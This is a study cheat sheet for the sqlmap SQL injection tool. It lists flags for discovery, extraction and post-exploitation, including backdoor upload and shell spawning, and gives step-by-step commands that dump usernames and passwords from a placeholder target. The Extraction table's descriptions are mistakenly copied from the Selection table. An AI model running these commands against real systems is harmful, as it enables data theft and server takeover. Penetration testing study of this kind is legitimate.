🛠️ SQLmap

Installation

sudo apt update
sudo apt install sqlmap

Common Flags

Command Flags

FlagDescription
-uThe target URL (e.g., http://target.com/page.php?id=1).
-rLoad an HTTP request from a file.
--dataData string to be sent via POST (e.g., user=admin&pass=123).
--cookieProvide a session cookie for authenticated pages (e.g. name1=value1; name2=value2).
--batchNever ask questions (Like do you want...) and choose the default answers.
--levelLevel of tests to perform (1-5, default is 1). Use 5 for deep testing.
--riskRisk of tests to perform (1-3, default is 1). 3 can be destructive.
--tamperUse a script to bypass WAFs (stored in /usr/share/sqlmap/tamper/).

Discovery Flags

FlagDescription
--bannerRetrieves the DB version and system information (OS, version).
--current-userShows the username the DB is running as.
--current-dbShows the name of the database the website is currently using.
--is-dbaChecks if the current user has admin/root privileges (critical for --os-shell).
--dbsLists all databases accessible by the current user.
--usersLists all database management system users.
--passwordsAttempts to find and crack the password hashes for the DB users.

Selection Flags

FlagLogicExample
-DSpecifies the Database name.-D public_data
-TSpecifies the Table name.-T users
-CSpecifies the Column name(s).-C "username, password"

Extraction Flags

FlagLogicExample
--tablesSpecifies the Database name.
--collumnsSpecifies the Table name.
--dumpSpecifies the Column name(s).
--schemaDumps the structure of the database (column types, table names) without the actual data

Post-Exploitation Flags

FlagDescription
--os-shellThe Holy Grail. Attempts to give you an interactive terminal on the server. sqlmap will upload a small “backdoor” (PHP, ASP, or JSP) to the webroot to facilitate this.
--os-cmd=[CMD]Executes a single command on the host OS (e.g., --os-cmd="whoami").
--os-pwnAttempts to spawn an out-of-band shell, like a Meterpreter session, using Metasploit.
--priv-escAttempts a database process user privilege escalation. It uses various known exploits to try and bump your session up to admin level.

Common Commands

# Step 1: Find the database names
sqlmap -u "http://target.com/id=1" --dbs
 
# Step 2: Find tables in the 'webapp' database
sqlmap -u "http://target.com/id=1" -D webapp --tables
 
# Step 3: Find columns in the 'users' table
sqlmap -u "http://target.com/id=1" -D webapp -T users --columns
 
# Step 4: Dump the usernames and passwords
sqlmap -u "http://target.com/id=1" -D webapp -T users -C "user,pass" --dump
TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(tools, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC